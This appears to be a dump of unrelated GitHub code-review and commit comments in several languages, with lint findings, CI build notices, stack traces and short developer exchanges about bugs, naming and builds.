[R/prepare_dataset_species.R:102:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L102) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    nbn.species$Description[is.na(nbn.species$Description)] <- nbn.species$ScientificName[is.na(nbn.species$Description)]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:102:76:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L102) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>    nbn.species$Description[is.na(nbn.species$Description)] <- nbn.species$ScientificName[is.na(nbn.species$Description)]
                                                                           ^~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:105:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L105) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>    stop("At least one species with neither DutchName and ScienticName. NA is not acceptable as Speciesgroup Description")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:121:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L121) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  colnames(species.group) <- gsub("^ID", "SpeciesGroupID", colnames(species.group))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:123:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L123) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species <- merge(
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:127:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L127) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species$Description <- NULL
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:129:12:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L129) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    data = species.group.species,
           ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:139:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L139) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    species.group.species,
    ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:158:1:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L158) *style:* **lines should not be more than 80 characters.**
```r
<U+200B>  colnames(species.group) <- gsub("^ID", "SpeciesGroupID", colnames(species.group))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:160:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L160) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species <- merge(
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:164:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L164) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species$Description <- NULL
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:165:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L165) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species <- merge(
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:166:5:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L166) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    species.group.species,
    ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:169:3:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L169) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>  species.group.species$ExternalCode <- NULL
  ^~~~~~~~~~~~~~~~~~~~~
```
[R/prepare_dataset_species.R:169:25:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L169) *style:* **Variable and function names should be all lowercase.**
```r
<U+200B>  species.group.species$ExternalCode <- NULL
                        ^~~~~~~~~~~~
```
[R/prepare_dataset_species.R:171:12:](https://github.com/ThierryO/abvanalysis/blob/05f86393b4c1353deff7a9c84aaa04f6ce39b86b/R/prepare_dataset_species.R#L171) *style:* **Words within variable and function names should be separated by '_' rather than '.'.**
```r
<U+200B>    data = species.group.species,
           ^~~~~~~~~~~~~~~~~~~~~
```


if("${WINEBUILD_OUTPUT}" MATCHES ".*lib64/wine/libwinecrt0.a.*")
                SET(EXTRA_FLAGS ${EXTRA_FLAGS} -nodefaultlibs /usr/lib/i386/wine/libwinecrt0.a -luser32 -lkernel32 -lgdi32)


Yes, je corrigerai pour le procohain push !


Here's the JIRA https://0xdata.atlassian.net/browse/SW-265


#3 solved


lock it


thank you, though i still think this card will have different ruling because it is designed to support Yuri deck.


I think this should stay as it is as checking for string "password" might be tricky if value of KEYSTORE_PASSWORD_PROP_NAME or TRUSTSTORE_PASSWORD_PROP_NAME changes.


Well people could update a installation with activated surveys...


This seems to work very well, the % sign gept erasing the first letter that went after the % oddly, so I decided to just change it into a better return string, then now it works fine :P


Just in case there are no models defined in the table it returns a false. So it can't take a vehicle from an empty table.


@LouisGac Denis said it was fixed for that.


1. Enclose R.H.S. for carton_board_area in parentheses.
2. (eqn) / (10 ** 6)


this PR did not seem to work.  Also, ch.ion lost the abundanceName keyword.


Onde esta definido esse marcador? O que significa o marcador CourseListFragment?
Não encontrei a folha de estilo de vocês.


"connector" was excluded from debug message. Will it still log connector information?


I think update DB didn't happen in my installation because my db version was superior to the develop one.


The previous Promise module had both `catch` (which called the promise `.then` method in JS passing the continuation as the second argument) and `onFail` (which compiled to `.catch`). These two are actually [equivalent](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Promise) so I guess it should work.


aqui não tá compilando :/
o Launcher é a classe lancador :octocat:


嗯，确实是可以直接只用双引号，只是在我的IDE中，使用双引号时候，提示有个警告，所以才使用了这种写法


@LouisGac Yes, or you switched back and forth, which will let DBVersion stay high, skipping the procedure to update old tables. I could reproduce, too, so. Oh well.


is this good enough


这部分正如大硕硕所说，传递进来的callback都是函数，所以就省事没有加校验了


Okay! :)


if we don't have a slide we should return at the beginning of this method


LGTM 🤘


time to set db version to 300 in branch develop.


Remove this hard-code. All structures should be placed manually, so no need for this code.


说实话。。 这块不是我写的；fail处理不用response。。


This will not work. I'm not telling you why, look into API and how ranged units work.


@stevekuznetsov  Sorry about that, opened PR to fix this here https://github.com/openshift/origin/pull/11981


Paket Wisata Pantai Gunungkidul


Hey @kitsunde –

I added the Pillow version cap to 3.3.3 due to Pillow>=3.4.x breaking some of the tests in the test suite that use [this method](https://github.com/respondcreate/django-versatileimagefield/blob/master/tests/tests.py#L168) to test equality between two generated images.

Admittedly I didn't do much research into why this was happening in Pillow 3.4.x and above so if you have any ideas on how to fix this test method I'd appreciate it a ton!


Ah ok. Thank you :)
I wasn't sure if there's a reason for this.


Again, I run your code, name spawn differently and whole stuff won't work. Please adjust accordingly.


@jasonMisaq there's not much use commenting on a commit that's already been merged.  Let's keep the conversation over in #3129. 👍


嗯，是的；这部分代码在写的过程中，输入后面抽象出来的方法，但是在.add事件中并没有使用到


Yes, I fully agree. The only thing is recently I find a bit cumbersome to install all the dependencies multiple times for each project and sample within the repo, so I'm installing common dependencies on the root folder (see the new `package.json` there) including `fable-compiler`. If I'm not terribly mistaken, node/npm should be able to find local packages in parent directories so the local `fable-compiler` is called, not the global one.


No hardcode.


Che, si tenés tiempo habría que arreglar un poco la clase del sonido. No está muy bien que haya que conocer la extensión de un archivo de sonido para poder reproducirlo, sino que tendría que poder hacerse así:
**Sonido.play(nombreAtaqueActual.toString());**. Se puedo solucionar usando split sobre los nombres de los archivos al cargar los sonidos en el diccionario.


Two issues on my side :
- I can't have this version with an "npm update", is this normal ?
- Even by modifying in 'node_modules/ng2-smart-table/build/src/ng2-smart-table/lib/grid.js' the line, this isn't working

I don't know if i'm doing this right, need an answer about it please :)
Thanks a lot for looking on that !


the print_usage() function should be in the main
and for the error handling you can use the enum


![It is time](https://cdn.meme.am/instances/500x/48530563.jpg)


Glad to hear it wasn't due to **stplanr** code, although comments on and improvements to that are always welcome. @audev please use **dplyr** instead of **plyr** wherever possible. The former supersedes the latter.


Remove hard-code, implement rally by flag -- it was part of the task I don't see.


You are trying to spawn unit each time it is run O_o ?! Refactor all spawning logic into separate module to prevent such mistakes.


@arlowhite It's the source of http://materializecss.com/modals.html so I guess the answer is yes...
It's not the source code.


This looks good - are we going to PR?


嗯，这种常见的容错校验没有使用，确实是不应该。由此反映出的问题就是考虑问题不够全面，都是想到的最好得情况，没有对可能出现的错误进行处理，结合上面说的response问题，需要对这样的情况做一个深思了


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1667](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18523&buildTypeId=ota_plus_RviSotaServer_Ci) is now running


This will also fail if you have complicated matrices (For instance, those that have shearing)


getEmployeeByCodeRegistrationAndPasword o correto seria
getEmployeeByCodeRegistrationAnd**Password**
só faltou um s


Thanks... almost! The prefs tab works nicely from plugin options now, yay.

But I still have a couple of old pane prefs in my system (`pane_form_comment_visible` and `pane_form_link_visible`) which means my changes to these twisties are not (re)stored via localStorage. Should these old prefs be removed on upgrade? Or should the code just ignore them now?

Also (and this may be related to the above) I have a lot of misc forms. If I open this twisty group up, select one of the forms to edit, scroll to the bottom and Save, the panel jumps to the midpoint of the page, partway through the list. Similarly, to a lesser degree, with the `files` Form:

* Open the File twisty.
* Edit the `files` Form.
* Scroll right to the bottom, so the Txp footer content it visible.
* Save.

On mine, the page jumps up one 'line' so the footer is no longer visible on-screen. My guess is that it's loading the twisty panel content (closed) from Ajax then localStorage is opening it, which -- in the case of the files twisty that only has one item in it -- makes the page one item longer. Or something like that.

As I say, this might just be my system because of the legacy prefs.


Acredito que não precise utilizar as labels inteiras pra Português e English, usa no pattern da i18n pt_BR e en_US


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1667](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18523&buildTypeId=ota_plus_RviSotaServer_Ci) outcome was **FAILURE**
Summary: Exit code 1 (new) Build time: 00:03:36


Only the Class-Diagramm from Model. I'm work with the MVC-Model.


입력문자가 10개가 넘으면 이상한 값이 함께 들어가서 입력 횟수를 제한하였습니다.


Why you are trying to create a creep each time?


Why the extra space?! Watch formatting :)


Thanks for updating this ❤


The patch look very bad to me. I mean using a bool to see if we can delete the socket.
And there is still crash happen :/
Yesterday it was not happening.

First cause, you set the socket deletable by default. The socket is so fast closed that it still have the initialization state when it is already deleted by network code. Crash.
Second, didnt found the real cause yet but here is the stack trace:
> 	msvcp140d.dll!00007ff939e11a53()	Inconnu
 	msvcp140d.dll!00007ff939e12075()	Inconnu
 	mangosd.exe!std::_Mtx_lockX(_Mtx_internal_imp_t * _Mtx) Ligne 70	C++
 	mangosd.exe!std::_Mutex_base::lock() Ligne 44	C++
 	mangosd.exe!std::lock_guard<std::mutex>::lock_guard<std::mutex>(std::mutex & _Mtx) Ligne 219	C++
>	mangosd.exe!MaNGOS::Socket::FlushOut() Ligne 228	C++
 	mangosd.exe!MaNGOS::Socket::StartWriteFlushTimer::__l2::<lambda>(const boost::system::error_code & error) Ligne 216	C++
 	mangosd.exe!boost::asio::detail::binder1<void <lambda>(const boost::system::error_code &),boost::system::error_code>::operator()() Ligne 48	C++
 	mangosd.exe!boost::asio::asio_handler_invoke<boost::asio::detail::binder1<void <lambda>(const boost::system::error_code &),boost::system::error_code> >(boost::asio::detail::binder1<void <lambda>(const boost::system::error_code &),boost::system::error_code> & function, ...) Ligne 70	C++
 	mangosd.exe!boost_asio_handler_invoke_helpers::invoke<boost::asio::detail::binder1<void <lambda>(const boost::system::error_code &),boost::system::error_code>,void <lambda>(const boost::system::error_code &) >(boost::asio::detail::binder1<void <lambda>(const boost::system::error_code &),boost::system::error_code> & function, MaNGOS::Socket::StartWriteFlushTimer::__l2::void <lambda>(const boost::system::error_code &) & context) Ligne 39	C++
 	mangosd.exe!boost::asio::detail::wait_handler<void <lambda>(const boost::system::error_code &) >::do_complete(boost::asio::detail::win_iocp_io_service * owner, boost::asio::detail::win_iocp_operation * base, const boost::system::error_code & __formal, unsigned __int64 __formal) Ligne 70	C++
 	mangosd.exe!boost::asio::detail::win_iocp_operation::complete(boost::asio::detail::win_iocp_io_service & owner, const boost::system::error_code & ec, unsigned __int64 bytes_transferred) Ligne 47	C++
 	mangosd.exe!boost::asio::detail::win_iocp_io_service::do_one(bool block, boost::system::error_code & ec) Ligne 406	C++
 	mangosd.exe!boost::asio::detail::win_iocp_io_service::run(boost::system::error_code & ec) Ligne 164	C++
 	mangosd.exe!boost::asio::io_service::run(boost::system::error_code & ec) Ligne 67	C++
 	mangosd.exe!MaNGOS::NetworkThread<WorldSocket>::<lambda>() Ligne 64	C++
 	[Code externe]


Change to image


address issue #14


> I've started to think the optional SessionID can actually be the Component of the call, instead of being a separate parameter.

I have modified the XMLdocument to reflect this.
I think also about the WindowID, can we make it flexible, NOT always stick to "SAFSREST"; We can specify any string as WindowID, so that we can set anything special to a certain session.
We can assign the value "SAFSREST" to WindowID in the Map and assign sessionID to the childID. For example
Map:

    [MyFirstSession]
    MyFirstSession=SAFSREST
    SessionIDItem=BayerService1
    HeaderFile=pathToHeadersFile
    AuthenticationFile=pathToAuthenticationFile
Test:

    T, WindowID, childID, action, relativeURL, ResponseIDVariable[, body] [, headers]  [, authentication]
    ======================================================
    T, MyFirstSession, SessionIDItem, RestGetJSON, relativeURL, ResponseIDVariable[, body] [, headers]  [, authentication]

Or we can assign directly the sessionID to WindowID in the Map, and we assign "SAFSREST" to  ChildID . For example
Map:

    [MyFirstSession]
    MyFirstSession=BayerService1
    SessionType=SAFSREST
    HeaderFile=pathToHeadersFile
    AuthenticationFile=pathToAuthenticationFile

Test:

    T, WindowID, childID, action, relativeURL, ResponseIDVariable[, body] [, headers]  [, authentication]
    ======================================================
    T, MyFirstSession, SessionType, RestGetJSON, relativeURL, ResponseIDVariable[, body] [, headers]  [, authentication]


Awesome, great catch


是的，关于选择器的时候还是不算熟练，现在也在学习这部分的基础，争取下次的code review中有个明显的进步


-- Internet browser
-- Text editor


Please run `testrules.sh` with `pt pt-PT` instead of just `pt` (or even more variants, if needed). It seems the script otherwise wrongly skips some rules for speed up (just like it skips other languages).


W tym zadaniu w ogóle nie trzeba używać prototypów.
Wystarczy stworzyć 1 funkcję, która będzie zwracała obiekt 👍


First character is in simplified Chinese. It should be "設定".


Да, точно, лишний - не обратила внимания.


Vamos optar pelo pattern da W3 para nomear URL's, https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.2.3

ao invés de usersJson, users-json


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1668](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18526&buildTypeId=ota_plus_RviSotaServer_Ci) is now running


\n


Hey bud - for starting Mac Multi-Tool - it's just a bash script that runs as an executable.  If you clone the repo as a zip on your desktop - you just need to double-click the "#Mac Multi-Tool#" file to open it in the Terminal.  As for writing "enter" - you don't write out the whole word; just press the enter key on your keyboard.

If you'd like some help getting your Hackintosh setup - hop on [my discord channel](https://discord.gg/GMDjp79) (link set to never expire - and anyone is welcome if they'd like to join) - it's a more efficient platform for going over this type of thing.


Já foi feita a correção. Na realidade a linha seria "// #Marker - Class CourseListFragment


Locally I see all posts dated to the build date. In github, the site is dated to the build date, but post dates are empty.

Since the default date format seems to be rfc822, this commit doesn't seem to have any effect. If we ever want to switch to a different date format we might need to wrap `{%if post.date != nil %}` around these sections.


This transition fades the status bar out rather than changing the color directly… which seems to be smooth.


@ericniebler

I get the following error with clang trunk:

include/boost/range/size_type.hpp:53:39: error: template parameter has a different kind in template redeclaration
        template<typename C, typename Enabler=void>
                                      ^
include/range/v3/detail/satisfy_boost_range.hpp:37:32: note: previous template declaration is here
        template<typename, bool> struct range_size;
                               ^


# restart docker containers (ex. docker start -it cburki/myadmin:latest)


Ohhhh I see. I was reading about the Recolor transition but I guess the fading transition also achieves the smooth change. Thanks!


@skarllot why do we need different Guids for different framework targets?


love the `switch` instead of my if-elseif logic


lol


We are not exposing the API to COM at all (`ComVisible=false`).


Makes sense. This variant is new.I will try to keep this in mind.
Another possible issue is that it skips the regression test. Should I move it to pt and only after regression tests relocate to pt-PT? It produces a great number of (legit) positives since wikipedia is mostly brazilian portuguese.


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1668](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18526&buildTypeId=ota_plus_RviSotaServer_Ci) outcome was **FAILURE**
Summary: Tests passed: 42; compilation error: Scala compiler in Test (new) Build time: 00:06:00


These 2 functions are almost identical except the comparison operation.
Can you suggest more generic version of the function, passing comparison operation as a function?


Code to display a specific entry based on the url title field.


What is the reason to name it `is_...` as it doesn't return boolean?


Hacer logout utilizando passport, creamos nueva ruta en el servidor para logout y passport js me entrega un método logout() dentro del request.


... and so it begins and now remembering some confusion while at GarageGames whether it was Luma or LUMA :)


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1669](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18530&buildTypeId=ota_plus_RviSotaServer_Ci) is now running


This should be tested [0, 5]


@mkhahani you could install gcc5 in your building machine with:

```
sudo yum install centos-release-scl
sudo yum install devtoolset-4-gcc*
scl enable devtoolset-4 bash

gcc --version
```

Just tried it using docker centos:7 image and it works.


what happens if i cant get a logcat or anything? is there any other way to provide logs?


Just corrected the paragraph tags, as they were not done correctly.


There may be duplicate <p> tags, but those will be corrected.

`<p><p>By Giacomo Lawrance</p>`

This may be seen sometimes, please alert me if you do see them!


Good points.... incidently, after mirroring (and rotating) it still merges correctly.
I'll have a look at using the entire (local) transformation matrix, which seems the more logical choice.


Yes, this needs [0,5] bounds


Probably should be `!= "y"`.


"web" should be 萬維網 if it's implying WWW.


> I just copied that from the PartyModeChallenge Project don't know what that would change

😳 ok, then better leave it as it is...


```
 [CSL-134] Refactored and created checkpoint for secret storage

1. [CSL-134] done: GodTossing contains Workers, Storage and Listeners modules. Instance module is removed
2. [CSL-139] done: method for secret storage checkpoints is added

```
In general it's bad idea to do more than one issue in one commit. Anyway, if you do it, I think it makes sense to write both issue ids to short commit message.


If all the "sites" mean "website" it should be translated to "網站" not "站點".


Sorry @evagjekmarkaj I think I have led you astray here. I don't think we need `expand.grid()` here after all.


Hov hov, jeg har ikke kaldt den en lømmel.  Jeg sagde bare at du slammer.


see nextflow closed issue [here](https://github.com/nextflow-io/nextflow/issues/243), fixed in release 0.22.5


👍 Cool. I noticed because the wall detail key is just wall=*, whereas fence uses the fence_type, which is inconsistent.


You broke the build here :(


ok, che ahora vi que cuando se juego en 1 jugador, a gengar no le hacen efectos los ataques al cabo de una cierta cantidad de ataques, y tambien me sale que mi algomon recibio daño de quemaduras sin que gengar aplique el ataque Fogonazo


Topcommit.


Thank you @jcague. I'll try it.


Typo. "Publish" should be "發佈", not "髮布".


Nice trick!
However, I still observed repetitions.


this sort from high to low column, did not think that the wording "this" implies a Boolean.


@ericniebler It turns out to be Boost version dependent. This is the commit that changed it:

https://github.com/boostorg/range/commit/811b27141ae3aca840f093ed1f1b4c51f7752ccf

FWIW I just tried recompiling using Boost 1.62 and everything works fine.


I have changed the bounds.
So I still think that [0,4] can be used, master version has constant penalty for every rank, my patch actually tweaks only parameters for rank2 and rank4.


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1669](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18530&buildTypeId=ota_plus_RviSotaServer_Ci) outcome was **FAILURE**
Summary: Tests failed: 2 (1 new), passed: 258, ignored: 4 Build time: 00:10:09
### Failed tests
```
org.genivi.sota.core.DeviceResourceSpec.returns vehicle status even if Vin is in device registry but not local db: <no details avaliable>

org.genivi.sota.core.PackageResourceWordSpec: <no details avaliable>

```


Si, tiene algunos bugs, pero fue César el que se encargó de ese modo, así
que no tengo mucha idea de cómo funciona.

2016-11-21 12:50 GMT-03:00 wjma <notifications@github.com>:

> ok, che ahora vi que cuando se juego en 1 jugador, a gengar no le hacen
> efectos los ataques al cabo de una cierta cantidad de ataques, y tambien me
> sale que mi algomon recibio daño de quemaduras sin que gengar aplique el
> ataque Fogonazo
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> <https://github.com/keze87/TP2/commit/169d887942ac6f166ce61c239421b4d6f5237bfe#commitcomment-19905512>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/ASdG4-sx15kgfR-7nFHkl4we757_Likrks5rAb29gaJpZM4K4UR9>
> .
>


I try :)


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1670](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18532&buildTypeId=ota_plus_RviSotaServer_Ci) is now running


Everything that starts with `is`, `has` or similar implies boolean result.


I think this change looks okay, but I have code generated in my client folder that now strips of the `contentType` parameter from the callee but the caller still trys to pass the `contentType` as an argument. That results in a compilation error:

```go
// Create a work item link
func (c *Client) CreateWorkItemLink(ctx context.Context, path string, payload *CreateWorkItemLinkPayload, contentType string) (*http.Response, error) {
	req, err := c.NewCreateWorkItemLinkRequest(ctx, path, payload, contentType)
	if err != nil {
		return nil, err
	}
	return c.Client.Do(ctx, req)
}

// NewCreateWorkItemLinkRequest create the request corresponding to the create action endpoint of the work-item-link resource.
func (c *Client) NewCreateWorkItemLinkRequest(ctx context.Context, path string, payload *CreateWorkItemLinkPayload) (*http.Request, error) {
	var body bytes.Buffer
	err := c.Encoder.Encode(payload, &body, "*/*")
//...
```


Looks OK for testing; but MediaPlayer1 etc is potentially problematic on some platforms like a Pi 3 if they have an external adapter but haven't disabled the internal adapter properly.


Nice code !
However, I was expecting a close to yellow result for this :(


爲什麼不直接上傳真的 PKGBUILD 呢，不要加 lilac.py 就不會有自動打包了。


should be != docId I think


AFNPolygonalWindowSupport (lgu1234) - x86_64-MacOS-10.9-clang: OK (2339 of 2339 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.svg)


Thanks!


ok i'll try to find time for it later this week! sorry for the delay


![](https://github.trello.services/images/mini-trello-icon.png) [Add namespace to url pages](https://trello.com/c/63FCV0cA/2-add-namespace-to-url-pages)


TeamCity ReOpenLDAP :: devel [Build 321](https://binbug.bigbrother-matrix.ru/teamcity/viewLog.html?buildId=2951&buildTypeId=ReOpenLDAP_Devel&guest=1) is now running


@stefanorigano Well seen, I will fix this, thanks.


Fixes #6


This stream is used for two purposes:
- updating messages
- retrieve the initial flags

As discussed this morning, we should work 10 minutes together tomorrow in order to search for a better solution.


you can make it more readable
(not in one line)


Is there an alternate way to get 'start' date for a stock?


invented :). combine functions, and on what basis the condition to make a comparison to be even or not even. home realizing.


This change broke the default value of the restart attribute by changing it to be required.


Maldicion es fogonazo


Ok.


@Hexik: In fact your patch (which is a nice idea, btw) changes the calculation flow of the program and introduce four new degrees of liberty in the evaluation space, and we usually test such changes with [0..5] bounds.

Thank you for changing the bounds :-)


I suppose gpio_get_value could theoretically return -1, otherwise the userspace part of this driver only seems to care that the value is not zero.


update padding in section class


more elegant in this case if the text is in the errorhandler (maybe with enum)


Pd: alguien esta haciendo algo? Digo, para no hacer lo mismo.


buffer is unused, isn't it?


Thank you!


logcat as requested ;) @fire855  @xen0n


@ttaylorr you're welcome


TeamCity OTA+ :: rvi_sota_server :: ci [Build 1670](http://teamcity.prod01.internal.advancedtelematic.com:8111/viewLog.html?buildId=18532&buildTypeId=ota_plus_RviSotaServer_Ci) outcome was **FAILURE**
Summary: Tests failed: 1, passed: 259, ignored: 4 Build time: 00:09:00
### Failed tests
```
org.genivi.sota.core.PackageResourceWordSpec: <no details avaliable>

```


Oops, just realized I commited this ignore entry again because `build.fsx` was still producing it... fixing the build script.


@scolapasta here's the stacktrace:
```
[2016-11-21T10:55:03.109-0500] [glassfish 4.1] [SEVERE] [] [edu.harvard.iq.dataverse.batch.jobs.importer.filesystem.FileRecordProcessor] [tid: _ThreadID=144 _ThreadName=concurrent/__defaultManagedExecutorService-managedThreadFactory-Thread-1] [timeMillis: 1479743703109] [levelValue: 1000] [[
  EJB Error updating DatasetVersion: javax.ejb.EJBTransactionRolledbackException null javax.ejb.TransactionRolledbackLocalException: Exception thrown from bean Exception thrown from bean java.lang.NullPointerException null ]]

[2016-11-21T10:55:03.111-0500] [glassfish 4.1] [WARNING] [AS-EJB-00056] [javax.enterprise.ejb.container] [tid: _ThreadID=144 _ThreadName=concurrent/__defaultManagedExecutorService-managedThreadFactory-Thread-1] [timeMillis: 1479743703111] [levelValue: 900] [[
  A system exception occurred during an invocation on EJB EjbDataverseEngine, method: public java.lang.Object edu.harvard.iq.dataverse.EjbDataverseEngine.submit(edu.harvard.iq.dataverse.engine.command.Command) throws edu.harvard.iq.dataverse.engine.command.exception.CommandException]]

[2016-11-21T10:55:03.111-0500] [glassfish 4.1] [WARNING] [] [javax.enterprise.ejb.container] [tid: _ThreadID=144 _ThreadName=concurrent/__defaultManagedExecutorService-managedThreadFactory-Thread-1] [timeMillis: 1479743703111] [levelValue: 900] [[

javax.ejb.TransactionRolledbackLocalException: Client's transaction aborted
	at com.sun.ejb.containers.EJBContainerTransactionManager.useClientTx(EJBContainerTransactionManager.java:357)
	at com.sun.ejb.containers.EJBContainerTransactionManager.preInvokeTx(EJBContainerTransactionManager.java:251)
	at com.sun.ejb.containers.BaseContainer.preInvokeTx(BaseContainer.java:4524)
	at com.sun.ejb.containers.BaseContainer.preInvoke(BaseContainer.java:1986)
	at com.sun.ejb.containers.EJBLocalObjectInvocationHandler.invoke(EJBLocalObjectInvocationHandler.java:210)
	at com.sun.ejb.containers.EJBLocalObjectInvocationHandlerDelegate.invoke(EJBLocalObjectInvocationHandlerDelegate.java:88)
	at com.sun.proxy.$Proxy250.submit(Unknown Source)
	at edu.harvard.iq.dataverse.__EJB31_Generated__EjbDataverseEngine__Intf____Bean__.submit(Unknown Source)
	at edu.harvard.iq.dataverse.batch.jobs.importer.filesystem.FileRecordProcessor.createDataFile(FileRecordProcessor.java:147)
	at edu.harvard.iq.dataverse.batch.jobs.importer.filesystem.FileRecordProcessor.processItem(FileRecordProcessor.java:102)
	at com.ibm.jbatch.container.artifact.proxy.ItemProcessorProxy.processItem(ItemProcessorProxy.java:34)
	at com.ibm.jbatch.container.impl.ChunkStepControllerImpl.processItem(ChunkStepControllerImpl.java:366)
	at com.ibm.jbatch.container.impl.ChunkStepControllerImpl.readAndProcess(ChunkStepControllerImpl.java:209)
	at com.ibm.jbatch.container.impl.ChunkStepControllerImpl.invokeChunk(ChunkStepControllerImpl.java:573)
	at com.ibm.jbatch.container.impl.ChunkStepControllerImpl.invokeCoreStep(ChunkStepControllerImpl.java:684)
	at com.ibm.jbatch.container.impl.BaseStepControllerImpl.execute(BaseStepControllerImpl.java:144)
	at com.ibm.jbatch.container.impl.ExecutionTransitioner.doExecutionLoop(ExecutionTransitioner.java:112)
	at com.ibm.jbatch.container.impl.JobThreadRootControllerImpl.originateExecutionOnThread(JobThreadRootControllerImpl.java:110)
	at com.ibm.jbatch.container.util.BatchWorkUnit.run(BatchWorkUnit.java:80)
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
	at org.glassfish.enterprise.concurrent.internal.ManagedFutureTask.run(ManagedFutureTask.java:141)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)
	at org.glassfish.enterprise.concurrent.ManagedThreadFactoryImpl$ManagedThread.run(ManagedThreadFactoryImpl.java:250)
]]
```


@afaulkner420 Looks like the logcat link is missing? 😈


